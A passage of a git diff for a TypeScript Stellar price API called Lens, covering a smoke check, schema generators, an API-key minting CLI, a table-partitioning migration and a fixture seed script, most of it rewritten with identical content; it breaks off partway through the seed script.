+ }) + await check('/price/XLM/USDC + freshness', async () => { + const data = await getJson('price/XLM/USDC') + if (data.assetA !== 'XLM' || data.assetB !== 'USDC' || typeof data.price !== 'number' || !Number.isFinite(data.price) || data.price <= 0) throw new Error('invalid price response') + if (data.stale !== false) throw new Error('price flagged stale') + if (typeof data.pairKey !== 'string' || !data.pairKey) throw new Error('missing pairKey') + pairKey = data.pairKey + if (!['mainnet', 'testnet'].includes(data.network)) throw new Error('invalid network') + network = data.network + fresh(data.lastTradeAgeSeconds) + }) + await check('GraphQL websocket subscription + live update', () => websocketRoundTrip(pairKey, network)) +} catch { + process.exitCode = 1 +} diff --git a/scripts/generate-graphql-schema.ts b/scripts/generate-graphql-schema.ts index 352179e3..7c96c9b7 100644 --- a/scripts/generate-graphql-schema.ts +++ b/scripts/generate-graphql-schema.ts @@ -1,30 +1,30 @@ -import { writeFileSync } from 'node:fs' -import { fileURLToPath } from 'node:url' -import { buildSchema, printSchema } from 'graphql' -import { schema as rawSchema } from '../src/api/graphql' - -export const schemaPath = fileURLToPath(new URL('../schema.graphql', import.meta.url)) - -/** - * Normalizes and formats the GraphQL schema string into canonical SDL format. - * - * Deterministic by construction: `graphql.buildSchema` parses the SDL and - * `graphql.printSchema` normalizes type order, whitespace, and descriptions, - * guaranteeing byte-for-byte identical output regardless of source formatting. - */ -export function renderGraphQLSchema(raw?: string): string { - const source = raw ?? rawSchema - const schemaObj = buildSchema(source) - return printSchema(schemaObj).trim() + '\n' -} - -/** Regenerates `schema.graphql` from code definition in place. */ -export function generateGraphQLSchema(): void { - writeFileSync(schemaPath, renderGraphQLSchema()) -} - -// Run only when invoked directly (`npm run graphql:schema:gen`), not when imported by tests. -if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { - generateGraphQLSchema() - console.log('Generated schema.graphql') -} +import { writeFileSync } from 'node:fs' +import { fileURLToPath } from 'node:url' +import { buildSchema, printSchema } from 'graphql' +import { schema as rawSchema } from '../src/api/graphql' + +export const schemaPath = fileURLToPath(new URL('../schema.graphql', import.meta.url)) + +/** + * Normalizes and formats the GraphQL schema string into canonical SDL format. + * + * Deterministic by construction: `graphql.buildSchema` parses the SDL and + * `graphql.printSchema` normalizes type order, whitespace, and descriptions, + * guaranteeing byte-for-byte identical output regardless of source formatting. + */ +export function renderGraphQLSchema(raw?: string): string { + const source = raw ?? rawSchema + const schemaObj = buildSchema(source) + return printSchema(schemaObj).trim() + '\n' +} + +/** Regenerates `schema.graphql` from code definition in place. */ +export function generateGraphQLSchema(): void { + writeFileSync(schemaPath, renderGraphQLSchema()) +} + +// Run only when invoked directly (`npm run graphql:schema:gen`), not when imported by tests. +if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { + generateGraphQLSchema() + console.log('Generated schema.graphql') +} diff --git a/scripts/generate-openapi.ts b/scripts/generate-openapi.ts index 96b450f3..1f6d52c7 100644 --- a/scripts/generate-openapi.ts +++ b/scripts/generate-openapi.ts @@ -1,36 +1,36 @@ -import { readFileSync, writeFileSync } from 'node:fs' -import { fileURLToPath } from 'node:url' -import YAML from 'js-yaml' - -const sourcePath = fileURLToPath(new URL('../openapi.yaml', import.meta.url)) -const destinationPath = fileURLToPath(new URL('../openapi.json', import.meta.url)) - -/** - * Renders the committed `openapi.json` from `openapi.yaml`. - * - * Exported (rather than inlined in the CLI) so `tests/openapi.test.ts` can - * assert that the committed JSON is exactly what the generator produces — the - * spec is auto-published from openapi.json on every push, so a stale committed - * file is a broken public contract even though the source YAML looks right. - * - * Deterministic by construction: `js-yaml` preserves document key order and - * `JSON.stringify` is stable for a fixed object, so the same YAML always yields - * byte-identical output. The test runs it twice to guarantee that. - */ -export function renderOpenApiJson(yamlSource?: string): string { - const source = yamlSource ?? readFileSync(sourcePath, 'utf8') - const document = YAML.load(source) - return JSON.stringify(document, null, 2) + '\n' -} - -/** Regenerates `openapi.json` from `openapi.yaml`, in place. */ -export function generateOpenApi(): void { - writeFileSync(destinationPath, renderOpenApiJson()) -} - -// Run only when invoked directly (`npm run openapi:gen`), not when imported by -// the test. -if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { - generateOpenApi() - console.log('Generated openapi.json') -} +import { readFileSync, writeFileSync } from 'node:fs' +import { fileURLToPath } from 'node:url' +import YAML from 'js-yaml' + +const sourcePath = fileURLToPath(new URL('../openapi.yaml', import.meta.url)) +const destinationPath = fileURLToPath(new URL('../openapi.json', import.meta.url)) + +/** + * Renders the committed `openapi.json` from `openapi.yaml`. + * + * Exported (rather than inlined in the CLI) so `tests/openapi.test.ts` can + * assert that the committed JSON is exactly what the generator produces — the + * spec is auto-published from openapi.json on every push, so a stale committed + * file is a broken public contract even though the source YAML looks right. + * + * Deterministic by construction: `js-yaml` preserves document key order and + * `JSON.stringify` is stable for a fixed object, so the same YAML always yields + * byte-identical output. The test runs it twice to guarantee that. + */ +export function renderOpenApiJson(yamlSource?: string): string { + const source = yamlSource ?? readFileSync(sourcePath, 'utf8') + const document = YAML.load(source) + return JSON.stringify(document, null, 2) + '\n' +} + +/** Regenerates `openapi.json` from `openapi.yaml`, in place. */ +export function generateOpenApi(): void { + writeFileSync(destinationPath, renderOpenApiJson()) +} + +// Run only when invoked directly (`npm run openapi:gen`), not when imported by +// the test. +if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { + generateOpenApi() + console.log('Generated openapi.json') +} diff --git a/scripts/issue-api-key.ts b/scripts/issue-api-key.ts index 241402f4..2752af6e 100644 --- a/scripts/issue-api-key.ts +++ b/scripts/issue-api-key.ts @@ -1,72 +1,72 @@ -/** - * CLI to mint the first (or any) Lens API key. - * - * The plaintext key is printed exactly once — only its SHA-256 hash is stored. - * Run with: - * npm run key:issue -- --label "Acme integrator" --per-min 120 --per-day 50000 - * - * Requires DATABASE_URL to be set (same as the server). - */ -import 'dotenv/config' -import { randomBytes, createHash } from 'crypto' -import { PrismaClient } from '@prisma/client' - -function parseArgs(argv: string[]): Record { - const args: Record = {} - for (let i = 0; i < argv.length; i++) { - const arg = argv[i] - if (arg.startsWith('--')) { - const key = arg.slice(2) - const next = argv[i + 1] - if (next && !next.startsWith('--')) { - args[key] = next - i++ - } else { - args[key] = 'true' - } - } - } - return args -} - -async function main() { - const args = parseArgs(process.argv.slice(2)) - const label = args.label ?? 'default' - const ratePerMin = args['per-min'] ? parseInt(args['per-min'], 10) : undefined - const ratePerDay = args['per-day'] ? parseInt(args['per-day'], 10) : undefined - const rawScopes = args.scopes ?? args.scope - const scopes = rawScopes ? rawScopes.split(',').map((s) => s.trim()).filter(Boolean) : undefined - - const plaintext = `lens_${randomBytes(24).toString('hex')}` - const hash = createHash('sha256').update(plaintext, 'utf8').digest('hex') - - const prisma = new PrismaClient() - try { - const record = await prisma.apiKey.create({ - data: { - hash, - label, - ...(ratePerMin !== undefined ? { ratePerMin } : {}), - ...(ratePerDay !== undefined ? { ratePerDay } : {}), - ...(scopes !== undefined ? { scopes } : {}), - }, - }) - - console.log('✅ API key created.') - console.log(` id: ${record.id}`) - console.log(` label: ${record.label}`) - console.log(` ratePerMin: ${record.ratePerMin}`) - console.log(` ratePerDay: ${record.ratePerDay}`) - console.log(` scopes: ${record.scopes?.join(', ') || '(all)'}`) - console.log('') - console.log(' Plaintext key (store it now — it will not be shown again):') - console.log(` ${plaintext}`) - } finally { - await prisma.$disconnect() - } -} - -main().catch((err) => { - console.error('Failed to create API key:', err) - process.exit(1) -}) +/** + * CLI to mint the first (or any) Lens API key. + * + * The plaintext key is printed exactly once — only its SHA-256 hash is stored. + * Run with: + * npm run key:issue -- --label "Acme integrator" --per-min 120 --per-day 50000 + * + * Requires DATABASE_URL to be set (same as the server). + */ +import 'dotenv/config' +import { randomBytes, createHash } from 'crypto' +import { PrismaClient } from '@prisma/client' + +function parseArgs(argv: string[]): Record { + const args: Record = {} + for (let i = 0; i < argv.length; i++) { + const arg = argv[i] + if (arg.startsWith('--')) { + const key = arg.slice(2) + const next = argv[i + 1] + if (next && !next.startsWith('--')) { + args[key] = next + i++ + } else { + args[key] = 'true' + } + } + } + return args +} + +async function main() { + const args = parseArgs(process.argv.slice(2)) + const label = args.label ?? 'default' + const ratePerMin = args['per-min'] ? parseInt(args['per-min'], 10) : undefined + const ratePerDay = args['per-day'] ? parseInt(args['per-day'], 10) : undefined + const rawScopes = args.scopes ?? args.scope + const scopes = rawScopes ? rawScopes.split(',').map((s) => s.trim()).filter(Boolean) : undefined + + const plaintext = `lens_${randomBytes(24).toString('hex')}` + const hash = createHash('sha256').update(plaintext, 'utf8').digest('hex') + + const prisma = new PrismaClient() + try { + const record = await prisma.apiKey.create({ + data: { + hash, + label, + ...(ratePerMin !== undefined ? { ratePerMin } : {}), + ...(ratePerDay !== undefined ? { ratePerDay } : {}), + ...(scopes !== undefined ? { scopes } : {}), + }, + }) + + console.log('✅ API key created.') + console.log(` id: ${record.id}`) + console.log(` label: ${record.label}`) + console.log(` ratePerMin: ${record.ratePerMin}`) + console.log(` ratePerDay: ${record.ratePerDay}`) + console.log(` scopes: ${record.scopes?.join(', ') || '(all)'}`) + console.log('') + console.log(' Plaintext key (store it now — it will not be shown again):') + console.log(` ${plaintext}`) + } finally { + await prisma.$disconnect() + } +} + +main().catch((err) => { + console.error('Failed to create API key:', err) + process.exit(1) +}) diff --git a/scripts/migrate-price-points-partitioning.ts b/scripts/migrate-price-points-partitioning.ts index 04c7f53e..2754c6bb 100644 --- a/scripts/migrate-price-points-partitioning.ts +++ b/scripts/migrate-price-points-partitioning.ts @@ -1,39 +1,39 @@ -import { pgPool } from '../src/db' -import { - isPricePointsPartitioned, - migratePricePointsToPartitioned, - ensurePricePointsPartitions, - computeTableChecksum, -} from '../src/partitioning/pricePoints' - -async function main() { - console.log('[partitioning-migration] Starting price_points partitioning check...') - - const already = await isPricePointsPartitioned(pgPool) - if (already) { - console.log('[partitioning-migration] price_points is already range-partitioned. Ensuring upcoming partitions exist...') - const creation = await ensurePricePointsPartitions(pgPool, { precreateDays: 14 }) - console.log(`[partitioning-migration] Verified partitions: ${creation.created.length} created, ${creation.existing.length} already existing.`) - await pgPool.end() - return - } - - console.log('[partitioning-migration] price_points is currently unpartitioned. Beginning safe migration...') - const preCheck = await computeTableChecksum(pgPool, 'price_points') - console.log(`[partitioning-migration] Source table rows: ${preCheck.rowCount}, checksum: ${preCheck.checksum}`) - - const result = await migratePricePointsToPartitioned(pgPool, { - precreateDays: 14, - }) - - console.log('[partitioning-migration] Migration completed successfully!') - console.log(`[partitioning-migration] Preserved rows: ${result.rowCount}`) - console.log(`[partitioning-migration] Verified checksum: ${result.checksum}`) - - await pgPool.end() -} - -main().catch(err => { - console.error('[partitioning-migration] Fatal error during migration:', err) - process.exit(1) -}) +import { pgPool } from '../src/db' +import { + isPricePointsPartitioned, + migratePricePointsToPartitioned, + ensurePricePointsPartitions, + computeTableChecksum, +} from '../src/partitioning/pricePoints' + +async function main() { + console.log('[partitioning-migration] Starting price_points partitioning check...') + + const already = await isPricePointsPartitioned(pgPool) + if (already) { + console.log('[partitioning-migration] price_points is already range-partitioned. Ensuring upcoming partitions exist...') + const creation = await ensurePricePointsPartitions(pgPool, { precreateDays: 14 }) + console.log(`[partitioning-migration] Verified partitions: ${creation.created.length} created, ${creation.existing.length} already existing.`) + await pgPool.end() + return + } + + console.log('[partitioning-migration] price_points is currently unpartitioned. Beginning safe migration...') + const preCheck = await computeTableChecksum(pgPool, 'price_points') + console.log(`[partitioning-migration] Source table rows: ${preCheck.rowCount}, checksum: ${preCheck.checksum}`) + + const result = await migratePricePointsToPartitioned(pgPool, { + precreateDays: 14, + }) + + console.log('[partitioning-migration] Migration completed successfully!') + console.log(`[partitioning-migration] Preserved rows: ${result.rowCount}`) + console.log(`[partitioning-migration] Verified checksum: ${result.checksum}`) + + await pgPool.end() +} + +main().catch(err => { + console.error('[partitioning-migration] Fatal error during migration:', err) + process.exit(1) +}) diff --git a/scripts/seed.ts b/scripts/seed.ts index 9ae4d096..cebeb0dd 100644 --- a/scripts/seed.ts +++ b/scripts/seed.ts @@ -1,453 +1,453 @@ -/** - * Seed the Lens database with deterministic fixture data. - * - * Creates pair_configs, price_points, pool_snapshots and price_aggregates - * for the default pair on one or both networks so that /price, /pairs and /pools - * all return non-empty, sensible data immediately after `docker compose up`. - * - * Usage: - * npm run seed # seed both networks - * npm run seed -- --network testnet # seed testnet only - * npm run seed -- --network mainnet # seed mainnet only - * - * Idempotency guarantee: "converges to the same rows". - * Re-seeding safely deletes previously seeded rows (`seed-${network}-*`) before - * inserting fresh fixture rows anchored to the current UTC hour. This ensures - * that timestamps remain fresh relative to NOW() (satisfying 1h/24h query intervals) - * while the database converges to the exact fixture row set without accumulating - * duplicates across runs. - * - * Requires DATABASE_URL to be set (same as the server). - */ -import 'dotenv/config' -import crypto from 'crypto' -import { PrismaClient, Prisma } from '@prisma/client' -import { StrKey } from '@stellar/stellar-sdk' - -// ── USDC Issuers ───────────────────────────────────────────────────────────── -// Validated with StrKey.isValidEd25519PublicKey per ground rules -export const TESTNET_USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' -export const MAINNET_USDC_ISSUER = 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' - -if (!StrKey.isValidEd25519PublicKey(TESTNET_USDC_ISSUER)) { - throw new Error(`Invalid testnet USDC issuer: ${TESTNET_USDC_ISSUER}`) -} -if (!StrKey.isValidEd25519PublicKey(MAINNET_USDC_ISSUER)) { - throw new Error(`Invalid mainnet USDC issuer: ${MAINNET_USDC_ISSUER}`) -} - -// ── Deterministic Pool ID Generator ────────────────────────────────────────── -// Real Stellar liquidity pool IDs are 64-character lowercase hex strings (SHA-256). -export function makeDeterministicPoolId(network: string, pairKey: string): string { - return crypto.createHash('sha256').update(`seed-pool-${network}-${pairKey}`).digest('hex') -} - -// ── CLI args ────────────────────────────────────────────────────────────────── - -export function parseArgs(argv: string[]): { network?: string } { - const args: Record = {} - for (let i = 0; i < argv.length; i++) { - const arg = argv[i] - if (arg.startsWith('--')) { - const rest = arg.slice(2) - if (rest.includes('=')) { - const [k, ...v] = rest.split('=') - args[k] = v.join('=') - } else { - const next = argv[i + 1] - if (next && !next.startsWith('--')) { - args[rest] = next - i++ - } else { - args[rest] = '' - } - } - } - } - if (args.network !== undefined && args.network === '') { - throw new Error('Missing value for --network flag. Expected "testnet" or "mainnet".') - } - return { network: args.network || undefined } -} - -// ── Pair definitions ───────────────────────────────────────────────────────── - -export interface PairDef { - assetA: string // e.g. "XLM" - assetAIssuer?: string | null - assetB: string // e.g. "USDC" - assetBIssuer?: string | null - pairKey: string // alphabetically sorted canonical key - poolId: string // deterministic 64-hex pool ID for AMM rows - basePrice: number // approximate centre price for the fixture -} - -export const PAIRS: Record = { - testnet: { - assetA: 'XLM', - assetAIssuer: null, - assetB: 'USDC', - assetBIssuer: TESTNET_USDC_ISSUER, - pairKey: `USDC:${TESTNET_USDC_ISSUER}/XLM`, - poolId: makeDeterministicPoolId('testnet', `USDC:${TESTNET_USDC_ISSUER}/XLM`), - basePrice: 0.12, - }, - mainnet: { - assetA: 'XLM', - assetAIssuer: null, - assetB: 'USDC', - assetBIssuer: MAINNET_USDC_ISSUER, - pairKey: `USDC:${MAINNET_USDC_ISSUER}/XLM`, - poolId: makeDeterministicPoolId('mainnet', `USDC:${MAINNET_USDC_ISSUER}/XLM`), - basePrice: 0.18, - }, -} - -// ── Deterministic timestamp anchors ────────────────────────────────────────── -// Seed data is anchored to the top of the current UTC hour so timestamps are -// reproducible within the hour, align with hourly query windows, and remain fresh -// relative to NOW() (satisfying 1h/24h query interval bounds). - -export function getAnchor(): Date { - return new Date(Math.floor(Date.now() / 3_600_000) * 3_600_000) -} - -export const ANCHOR = getAnchor() - -export function hoursAgo(hours: number, anchor: Date = getAnchor()): Date { - return new Date(anchor.getTime() - hours * 60 * 60 * 1000) -} - -// ── Price point generation ─────────────────────────────────────────────────── - -export function makePricePoints(network: string, pair: PairDef, anchor: Date = getAnchor()) { - const points: { - id: string - network: string - assetA: string - assetB: string - pairKey: string - source: string - poolId: string | null - price: Prisma.Decimal - baseVolume: Prisma.Decimal - counterVolume: Prisma.Decimal - ledger: number - timestamp: Date - }[] = [] - - // 24 SDEX points, 1 per hour over the past 24h (on the hour) - for (let i = 0; i < 24; i++) { - // Deterministic small price variation: ±3% sine wave - const priceVar = pair.basePrice * (1 + 0.03 * Math.sin((i * Math.PI) / 12)) - const price = parseFloat(priceVar.toFixed(8)) - const vol = 5000 + i * 200 - points.push({ - id: `seed-${network}-sdex-${i}`, - network, - assetA: pair.assetA, - assetB: pair.assetB, - pairKey: pair.pairKey, - source: 'SDEX', - poolId: null, - price: new Prisma.Decimal(price), - baseVolume: new Prisma.Decimal(vol), - counterVolume: new Prisma.Decimal(parseFloat((vol * price).toFixed(7))), - ledger: 50000000 + i * 100, - timestamp: hoursAgo(23 - i, anchor), - }) - } - - // 12 AMM points, 1 per 2 hours offset by 30 mins from the hour. - // Offsetting AMM prevents timestamp collision with SDEX, ensuring deterministic - // ORDER BY timestamp DESC resolution in /pairs without tie-break ambiguity. - for (let i = 0; i < 12; i++) { - const priceVar = pair.basePrice * (1 + 0.025 * Math.sin((i * Math.PI) / 6)) - const price = parseFloat(priceVar.toFixed(8)) - const vol = 3000 + i * 150 - const msAgo = ((22 - i * 2) * 60 + 30) * 60 * 1000 - points.push({ - id: `seed-${network}-amm-${i}`, - network, - assetA: pair.assetA, - assetB: pair.assetB, - pairKey: pair.pairKey, - source: 'AMM', - poolId: pair.poolId, - price: new Prisma.Decimal(price), - baseVolume: new Prisma.Decimal(vol), - counterVolume: new Prisma.Decimal(parseFloat((vol * price).toFixed(7))), - ledger: 50000050 + i * 200, - timestamp: new Date(anchor.getTime() - msAgo), - }) - } - - return points -} - -// ── Pool snapshot generation ───────────────────────────────────────────────── - -export function makePoolSnapshots(network: string, pair: PairDef, anchor: Date = getAnchor()) { - const snapshots: { - id: string - network: string - poolId: string - assetA: string - assetB: string - reserveA: Prisma.Decimal - reserveB: Prisma.Decimal - spotPrice: Prisma.Decimal - totalShares: Prisma.Decimal - feeBp: number - ledger: number - timestamp: Date - }[] = [] - - // 6 snapshots, 1 per 4 hours - for (let i = 0; i < 6; i++) { - const reserveA = 500000 + i * 10000 - const reserveB = parseFloat((reserveA * pair.basePrice).toFixed(7)) - const spotPrice = parseFloat(pair.basePrice.toFixed(8)) - snapshots.push({ - id: `seed-${network}-snap-${i}`, - network, - poolId: pair.poolId, - assetA: pair.assetA, - assetB: pair.assetB, - reserveA: new Prisma.Decimal(reserveA), - reserveB: new Prisma.Decimal(reserveB), - spotPrice: new Prisma.Decimal(spotPrice), - totalShares: new Prisma.Decimal(100000), - feeBp: 30, - ledger: 50000000 + i * 400, - timestamp: hoursAgo(20 - i * 4, anchor), - }) - } - - return snapshots -} - -// ── Price aggregate generation ─────────────────────────────────────────────── - -export function makePriceAggregates(network: string, pair: PairDef, anchor: Date = getAnchor()) { - const windows = ['1m', '5m', '1h', '24h'] as const - const aggregates: { - pairKey: string - network: string - window: string - bucket: Date - vwap: Prisma.Decimal - sdexVwap: Prisma.Decimal - ammVwap: Prisma.Decimal - volume: Prisma.Decimal - sdexVolume: Prisma.Decimal - ammVolume: Prisma.Decimal - tradeCount: number - openPrice: Prisma.Decimal - closePrice: Prisma.Decimal - highPrice: Prisma.Decimal - lowPrice: Prisma.Decimal - }[] = [] - - for (const window of windows) { - // Number of buckets per window type - const bucketCount = window === '1m' ? 12 : window === '5m' ? 12 : window === '1h' ? 24 : 1 - const bucketMinutes = window === '1m' ? 1 : window === '5m' ? 5 : window === '1h' ? 60 : 1440 - - for (let i = 0; i < bucketCount; i++) { - const bucketTime = new Date(anchor.getTime() - i * bucketMinutes * 60 * 1000) - const priceVar = pair.basePrice * (1 + 0.02 * Math.sin((i * Math.PI) / 6)) - const vwap = parseFloat(priceVar.toFixed(8)) - const sdexVwap = parseFloat((priceVar * 1.001).toFixed(8)) - const ammVwap = parseFloat((priceVar * 0.999).toFixed(8)) - const vol = 2000 + i * 100 - const sdexVol = parseFloat((vol * 0.6).toFixed(7)) - const ammVol = parseFloat((vol * 0.4).toFixed(7)) - const high = parseFloat((vwap * 1.015).toFixed(8)) - const low = parseFloat((vwap * 0.985).toFixed(8)) - - aggregates.push({ - pairKey: pair.pairKey, - network, - window, - bucket: bucketTime, - vwap: new Prisma.Decimal(vwap), - sdexVwap: new Prisma.Decimal(sdexVwap), - ammVwap: new Prisma.Decimal(ammVwap), - volume: new Prisma.Decimal(vol), - sdexVolume: new Prisma.Decimal(sdexVol), - ammVolume: new Prisma.Decimal(ammVol), - tradeCount: 10 + i, - openPrice: new Prisma.Decimal(parseFloat((vwap * 0.998).toFixed(8))), - closePrice: new Prisma.Decimal(parseFloat((vwap * 1.002).toFixed(8))), - highPrice: new Prisma.Decimal(high), - lowPrice: new Prisma.Decimal(low), - }) - } - } - - return aggregates -} - -// ── Idempotent upsert helpers ──────────────────────────────────────────────── -// Guarantee: "converges to the same rows". -// To maintain fresh timestamps relative to NOW() without accumulating duplicate -// rows on subsequent runs, re-seeding safely deletes previously seeded fixture rows -// (namespaced with id prefix `seed-${network}-` and scoped by network) before inserting. -// Pair configs use @@id([network, pairKey]) with skipDuplicates: true so default pairs -// are registered in pair_configs without overwriting user-configured pairs. - -export async function seedNetwork( - prisma: PrismaClient, - network: string, - pair: PairDef, - anchor: Date = getAnchor() -) { - // 1. Delete previously seeded rows for this network to guarantee convergence - await prisma.pricePoint.deleteMany({ - where: { - id: { startsWith: `seed-${network}-` }, - network, - }, - }) - - await prisma.poolSnapshot.deleteMany({ - where: { - id: { startsWith: `seed-${network}-` }, - network, - }, - }) - - await prisma.priceAggregate.deleteMany({ - where: { - network, - pairKey: pair.pairKey, - }, - }) - - // 2. Pair config (self-sufficient so /pairs and /price work on fresh clones) - const pcResult = await prisma.pairConfig.createMany({ - data: [ - { - pairKey: pair.pairKey, - network, - assetACode: pair.assetA, - assetAIssuer: pair.assetAIssuer ?? null, - assetBCode: pair.assetB, - assetBIssuer: pair.assetBIssuer ?? null, - }, - ], - skipDuplicates: true, - }) - - // 3. Price points - const points = makePricePoints(network, pair, anchor) - const ppResult = await prisma.pricePoint.createMany({ - data: points, - skipDuplicates: true, - }) - - // 4. Pool snapshots - const snaps = makePoolSnapshots(network, pair, anchor) - const psResult = await prisma.poolSnapshot.createMany({ - data: snaps, - skipDuplicates: true, - }) - - // 5. Price aggregates - const aggs = makePriceAggregates(network, pair, anchor) - const paResult = await prisma.priceAggregate.createMany({ - data: aggs, - skipDuplicates: true, - }) - - return { - pairConfigs: { total: 1, inserted: pcResult.count }, - pricePoints: { total: points.length, inserted: ppResult.count }, - poolSnapshots: { total: snaps.length, inserted: psResult.count }, - priceAggregates: { total: aggs.length, inserted: paResult.count }, - } -} - -// ── Main ───────────────────────────────────────────────────────────────────── - -export async function seed(options?: { network?: string; client?: PrismaClient; anchor?: Date }) { - const prisma = options?.client ?? new PrismaClient() - const anchor = options?.anchor ?? getAnchor() - try { - const networkFilter = options?.network - if (networkFilter && networkFilter !== 'testnet' && networkFilter !== 'mainnet') { - throw new Error(`Invalid --network value: "${networkFilter}". Must be "testnet" or "mainnet".`) - } - - const networks = networkFilter ? [networkFilter] : ['testnet', 'mainnet'] - - const results: Record>> = {} - - for (const network of networks) { - const pair = PAIRS[network] - if (!pair) { - throw new Error(`Unknown network: ${network}. Must be "testnet" or "mainnet".`) - } - results[network] = await seedNetwork(prisma, network, pair, anchor) - } - - // Print summary - console.log('\n🌱 Lens seed complete\n') - for (const [network, r] of Object.entries(results)) { - const pair = PAIRS[network] - console.log(` ${network} (${pair.pairKey})`) - console.log(` pair_configs ${r.pairConfigs.inserted} inserted (${r.pairConfigs.total} total)`) - console.log(` price_points ${r.pricePoints.inserted} inserted (${r.pricePoints.total} total)`) - console.log(` pool_snapshots ${r.poolSnapshots.inserted} inserted (${r.poolSnapshots.total} total)`) - console.log(` price_aggregates ${r.priceAggregates.inserted} inserted (${r.priceAggregates.total} total)`) - console.log() - } - - // Verify - for (const network of networks) { - const pair = PAIRS[network] - const pcCount = await prisma.pairConfig.count({ - where: { network, pairKey: pair.pairKey }, - }) - const ppCount = await prisma.pricePoint.count({ - where: { network, pairKey: pair.pairKey }, - }) - const psCount = await prisma.poolSnapshot.count({ - where: { network, poolId: pair.poolId }, - }) - const paCount = await prisma.priceAggregate.count({ - where: { network, pairKey: pair.pairKey }, - }) - console.log(` ✅ ${network}: ${pcCount} pair_configs, ${ppCount} price_points, ${psCount} pool_snapshots, ${paCount} price_aggregates`) - } - console.log() - return results - } finally { - if (!options?.client) { - await prisma.$disconnect() - } - } -} - -// ── Run when executed directly ─────────────────────────────────────────────── - -const isDirectRun = process.argv[1]?.endsWith('seed.ts') || process.argv[1]?.endsWith('seed.js') -if (isDirectRun) { - try { - const args = parseArgs(process.argv.slice(2)) - - if (args.network && args.network !== 'testnet' && args.network !== 'mainnet') { - console.error(`Invalid --network value: "${args.network}". Must be "testnet" or "mainnet".`) - process.exit(1) - } - - seed({ network: args.network }).catch((err) => { - console.error('Seed failed:', err) - process.exit(1) - }) - } catch (err) { - console.error((err as Error).message) - process.exit(1) - } -} +/** + * Seed the Lens database with deterministic fixture data. + * + * Creates pair_configs, price_points, pool_snapshots and price_aggregates + * for the default pair on one or both networks so that /price, /pairs and /pools + * all return non-empty, sensible data immediately after `docker compose up`. + * + * Usage: + * npm run seed # seed both networks + * npm run seed -- --network testnet # seed testnet only + * npm run seed -- --network mainnet # seed mainnet only + * + * Idempotency guarantee: "converges to the same rows". + * Re-seeding safely deletes previously seeded rows (`seed-${network}-*`) before + * inserting fresh fixture rows anchored to the current UTC hour. This ensures + * that timestamps remain fresh relative to NOW() (satisfying 1h/24h query intervals) + * while the database converges to the exact fixture row set without accumulating + * duplicates across runs. + * + * Requires DATABASE_URL to be set (same as the server). + */ +import 'dotenv/config' +import crypto from 'crypto' +import { PrismaClient, Prisma } from '@prisma/client' +import { StrKey } from '@stellar/stellar-sdk' + +// ── USDC Issuers ───────────────────────────────────────────────────────────── +// Validated with StrKey.isValidEd25519PublicKey per ground rules +export const TESTNET_USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' +export const MAINNET_USDC_ISSUER = 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' + +if (!StrKey.isValidEd25519PublicKey(TESTNET_USDC_ISSUER)) { + throw new Error(`Invalid testnet USDC issuer: ${TESTNET_USDC_ISSUER}`) +} +if (!StrKey.isValidEd25519PublicKey(MAINNET_USDC_ISSUER)) { + throw new Error(`Invalid mainnet USDC issuer: ${MAINNET_USDC_ISSUER}`) +} + +// ── Deterministic Pool ID Generator ────────────────────────────────────────── +// Real Stellar liquidity pool IDs are 64-character lowercase hex strings (SHA-256). +export function makeDeterministicPoolId(network: string, pairKey: string): string { + return crypto.createHash('sha256').update(`seed-pool-${network}-${pairKey}`).digest('hex') +} + +// ── CLI args ────────────────────────────────────────────────────────────────── + +export function parseArgs(argv: string[]): { network?: string } { + const args: Record = {} + for (let i = 0; i < argv.length; i++) { + const arg = argv[i] + if (arg.startsWith('--')) { + const rest = arg.slice(2) + if (rest.includes('=')) { + const [k, ...v] = rest.split('=') + args[k] = v.join('=') + } else { + const next = argv[i + 1] + if (next && !next.startsWith('--')) { + args[rest] = next + i++ + } else { + args[rest] = '' + } + } + } + } + if (args.network !== undefined && args.network === '') { + throw new Error('Missing value for --network flag. Expected "testnet" or "mainnet".') + } + return { network: args.network || undefined } +} + +// ── Pair definitions ───────────────────────────────────────────────────────── + +export interface PairDef { + assetA: string // e.g. "XLM" + assetAIssuer?: string | null + assetB: string // e.g. "USDC" + assetBIssuer?: string | null + pairKey: string // alphabetically sorted canonical key + poolId: string // deterministic 64-hex pool ID for AMM rows + basePrice: number // approximate centre price for the fixture +} + +export const PAIRS: Record = { + testnet: { + assetA: 'XLM', + assetAIssuer: null, + assetB: 'USDC', + assetBIssuer: TESTNET_USDC_ISSUER, + pairKey: `USDC:${TESTNET_USDC_ISSUER}/XLM`, + poolId: makeDeterministicPoolId('testnet', `USDC:${TESTNET_USDC_ISSUER}/XLM`), + basePrice: 0.12, + }, + mainnet: { + assetA: 'XLM', + assetAIssuer: null, + assetB: 'USDC', + assetBIssuer: MAINNET_USDC_ISSUER, + pairKey: `USDC:${MAINNET_USDC_ISSUER}/XLM`, + poolId: makeDeterministicPoolId('mainnet', `USDC:${MAINNET_USDC_ISSUER}/XLM`), + basePrice: 0.18, + }, +} + +// ── Deterministic timestamp anchors ────────────────────────────────────────── +// Seed data is anchored to the top of the current UTC hour so timestamps are +// reproducible within the hour, align with hourly query windows, and remain fresh +// relative to NOW() (satisfying 1h/24h query interval bounds). + +export function getAnchor(): Date { + return new Date(Math.floor(Date.now() / 3_600_000) * 3_600_000) +} + +export const ANCHOR = getAnchor() + +export function hoursAgo(hours: number, anchor: Date = getAnchor()): Date { + return new Date(anchor.getTime() - hours * 60 * 60 * 1000) +} + +// ── Price point generation ─────────────────────────────────────────────────── + +export function makePricePoints(network: string, pair: PairDef, anchor: Date = getAnchor()) { + const points: { + id: string + network: string + assetA: string + assetB: string + pairKey: string + source: string + poolId: string | null + price: Prisma.Decimal + baseVolume: Prisma.Decimal + counterVolume: Prisma.Decimal + ledger: number + timestamp: Date + }[] = [] + + // 24 SDEX points, 1 per hour over the past 24h (on the hour) + for (let i = 0; i < 24; 